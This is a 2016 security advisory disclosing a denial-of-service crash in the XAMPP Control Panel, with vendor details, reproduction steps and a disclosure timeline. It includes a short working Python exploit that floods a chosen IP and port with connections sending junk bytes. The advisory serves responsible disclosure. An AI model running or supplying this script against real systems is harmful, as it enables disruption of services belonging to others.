XAMPP Control Panel Denial Of Service
Posted on 24 December 2016
[+] Credits: John Page (hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/XAMPP-CONTROL-PANEL-MEMORY-CORRUPTION-DOS.txt [+] ISR: ApparitionSec Vendor: ===================== www.apachefriends.org Product: =================== XAMPP Control Panel XAMPP is a free and open source cross-platform web server solution stack package developed by Apache Friends, consisting mainly of the Apache HTTP Server, MariaDB database, and interpreters for scripts written in the PHP and Perl programming languages. Vulnerability Type: ===================== Memory Corruption DOS CVE Reference: ============== N/A Vulnerability Details: ===================== XAMPP Control Panel crashes with access violation when writing junk bytes into several different ports e.g. Tested following ports / versions: (MySQL) 3306 v3.2.2 (Tomcat) 8080 (XAMPP v3.1.0) (FileZilla) 21 (Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143. It is not that XAMPP Control Panel is listening on some port, however memory corruption and Denial Of Service does occur when you constantly write junk into, for instance, the MySQL, Tomcat, FileZilla, Mercury Mail listening ports. 1) Launch XAMPP control panel 2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail) with Apache running and or Tomcat Target different services and port combinations to reproduce. Important to note is that neither MySQL or Apache itself crash, it IS the XAMPP Control Panel that crashes with Access Violation. Tested Windows SP1 POC Video: https://vimeo.com/196938261 Exploit code(s): =============== import socket print "XAMPP Control Panel DOS" print "Discovery: John Page (hyp3rlinx)" print "ApparitionSec" print "hyp3rlinx.altervista.org " IP = raw_input("[IP]> ") PORT = raw_input("[PORT]> ") arr=[] c=0 while 1: try: arr.append(socket.create_connection((IP,PORT))) arr[c].send("DOOM") print "Die!" c+=1 except socket.error: print "[+] Done! " raw_input() break Disclosure Timeline: ======================================= Vendor Notification: November 1, 2016 Vendor acknowledgement: November 4, 2016 Vendor released Fix : December 22, 2016 (NO public mention as of the time of this writing) December 24, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx
